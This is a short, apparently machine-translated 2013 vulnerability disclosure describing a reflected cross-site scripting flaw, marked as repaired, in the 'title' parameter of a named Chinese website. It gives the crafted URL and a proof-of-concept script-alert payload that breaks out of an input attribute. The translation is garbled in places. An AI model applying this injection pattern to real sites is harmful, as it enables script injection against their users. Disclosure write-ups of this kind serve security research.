Red/Black Alliance (2cto.com) XSS [repaired]

Author: H3art
Data: Jan 19,2013

Http://www.bkjia.com/uapi.php? Tid = 183269 & catid = 19 & title =


Below we enter h3art address after title = into http://www.bkjia.com/uapi.php? Tid = 183269 & catid = 19 & title = h3art
View Source Code

The h3art we just entered closed the previous <form and then the "method =" post "......... name = "myf"> it is displayed on the page.
Next enter the <script> alert ("H3art") </script> address to change to http://www.bkjia.com/uapi.php? Tid = 183269 & catid = 19 & title = h3art "> <script> alert (" H3art ") </script>

View Source Code
Input <input name = "xss address into http://www.bkjia.com/uapi.php? Tid = 183269 & catid = 19 & title = h3art "> <script> alert (" H3art ") </script> <input name =" xss
View Source Code